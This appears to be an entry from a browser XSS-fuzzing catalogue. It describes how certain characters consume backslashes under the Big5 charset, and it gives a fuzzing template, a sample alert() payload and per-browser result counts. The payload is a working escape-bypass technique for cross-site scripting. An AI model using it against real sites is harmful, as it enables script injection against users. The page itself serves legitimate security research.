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Characters that cause the backslash to be consumed with a big5 charset

⚠ Browser differences
Chrome logo 45.4k
Firefox logo 56.7k
Edge logo 45.4k
Safari logo 62.5k

This vector demonstrates that certain characters consume backslashes when using a big5 charset

hackvertor
Created byhackvertor
Created Nov 1, 2024
Updated May 27, 2025

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CategoryCharacter Encoding
VisibilityPublic
TypeXSS
CharsetBig5
Template used:
<script>"$[chr]\"-log($[i])//"</script>

Sample payloads

<script>"\\"-alert(92)//"</script>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 45459 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 45459 results
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Firefox logo
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 56769 results
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Firefox logo
Firefox 131.0 desktop macOS 10.15older version
Updated1 Nov 2024
Found 56769 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 45459 results
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Safari logo
Safari 18.0.1 mobile iOS 18.0.1
Updated2 Nov 2024
Found 62529 results
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